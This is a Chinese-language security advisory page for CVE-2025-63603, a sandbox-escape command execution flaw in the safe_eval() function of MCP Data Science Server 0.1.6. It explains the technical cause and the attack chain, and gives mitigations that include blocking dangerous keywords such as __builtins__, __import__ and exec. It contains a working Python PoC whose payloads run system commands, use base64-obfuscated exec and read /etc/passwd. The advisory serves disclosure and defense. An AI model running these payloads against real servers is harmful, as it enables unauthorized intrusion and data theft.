IPBUF安全漏洞报告
English
CVE-2025-63603 CVSS 6.5 中危

CVE-2025-63603 MCP Data Science Server safe_eval()命令执行漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-63603
漏洞类型
命令执行
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MCP Data Science Server (reading-plus-ai/mcp-server-data-exploration)

相关标签

命令执行代码注入Python漏洞MCPexec()滥用沙箱绕过CVE-2025-63603

漏洞概述

MCP Data Science Server 0.1.6版本中存在严重的命令执行漏洞。该漏洞位于safe_eval()函数中,该函数使用Python的exec()来执行用户提供的脚本。然而,由于代码实现时未正确限制Python的__builtins__内置模块,导致攻击者可以绕过安全限制,访问所有Python内置函数,包括__import__、exec、eval和open等高危函数。攻击者通过向run_script工具提交恶意构造的Python代码,可以在服务器上执行任意系统命令,实现对目标系统的完全控制。由于该漏洞的利用不需要任何认证或特殊权限,且可通过网络直接触发,因此具有极高的实际威胁性。任何部署了该组件的服务都面临被入侵的风险,攻击者可能窃取敏感数据、植入后门或对系统进行进一步横向渗透。

技术细节

漏洞的核心问题在于safe_eval()函数(src/mcp_server_ds/server.py:108)的实现缺陷。该函数使用Python的exec()内置函数来执行用户传入的脚本代码,但仅对exec()的locals参数进行了限制,而未对globals参数中的__builtins__进行过滤。在Python中,当globals字典中不包含__builtins__键时,解释器会自动添加对所有内置函数和对象的引用。这意味着,即使用户代码看似被限制在沙箱环境中,实际上仍然可以通过__builtins__访问到__import__、exec、eval等危险函数。攻击者可以利用这一特性,通过类似__builtins__['__import__']('os').system('whoami')的Payload执行系统命令,或使用exec()直接执行任意Python代码。该漏洞的利用条件极低:无需认证、无需特殊权限、只需能访问到run_script接口即可。由于MCP服务器通常作为数据处理服务运行,其权限可能较高,因此漏洞的潜在危害更加严重。

攻击链分析

STEP 1
步骤1
攻击者发现目标服务器部署了存在漏洞的MCP Data Science Server 0.1.6版本
STEP 2
步骤2
攻击者识别到run_script工具接口,该接口允许用户提交Python脚本代码
STEP 3
步骤3
攻击者构造恶意Payload,利用__builtins__未受限的缺陷,构造类似__builtins__['__import__']('os').system('command')的代码
STEP 4
步骤4
通过HTTP POST请求将恶意脚本发送到/run_script或类似接口
STEP 5
步骤5
服务器端exec()执行脚本时,由于globals中无__builtins__限制,Python自动提供所有内置函数访问权限
STEP 6
步骤6
恶意代码通过__import__加载os模块并执行系统命令,以服务器运行权限执行
STEP 7
步骤7
攻击者获得服务器命令执行权限,可进行数据窃取、权限提升或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-63603 PoC - MCP Data Science Server Command Execution Note: This PoC is for educational and security testing purposes only. """ import requests import json # Target MCP Data Science Server endpoint TARGET_URL = "http://target-server:8000/run_script" # Malicious payload - execute system command via __builtins__ payload = """ __builtins__['__import__']('os').system('whoami > /tmp/pwned.txt') """ # Alternative payload using exec payload_exec = """ exec(__import__('base64').b64decode('b3MuU3lzdGVtKCd3aG9hbWknKQ==').decode()) """ # Read file using builtins payload_read = """ result = open('/etc/passwd').read() print(result) """ def exploit(target_url, payload): """Send malicious script to vulnerable MCP server""" headers = { 'Content-Type': 'application/json', 'User-Agent': 'MCP-Client/1.0' } data = { 'script': payload, 'timeout': 30 } try: response = requests.post(target_url, json=data, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-63603 PoC") print("[*] Target: MCP Data Science Server") print("[*] Exploiting safe_eval() command injection...") exploit(TARGET_URL, payload)

影响范围

reading-plus-ai/mcp-server-data-exploration 0.1.6

防御指南

临时缓解措施
在官方修复版本发布前,建议采取以下临时缓解措施:1) 暂时禁用或限制run_script工具的访问,仅允许受信任的用户使用;2) 在MCP服务器前部署WAF/IPS设备,对包含__builtins__、__import__、exec等危险关键字的请求进行拦截;3) 使用防火墙规则限制MCP服务的网络访问,仅允许必要的内部网络访问;4) 监控日志中的异常脚本执行行为,及时发现潜在的攻击尝试;5) 考虑使用AppArmor、SELinux或seccomp等容器安全机制限制进程的系统调用能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表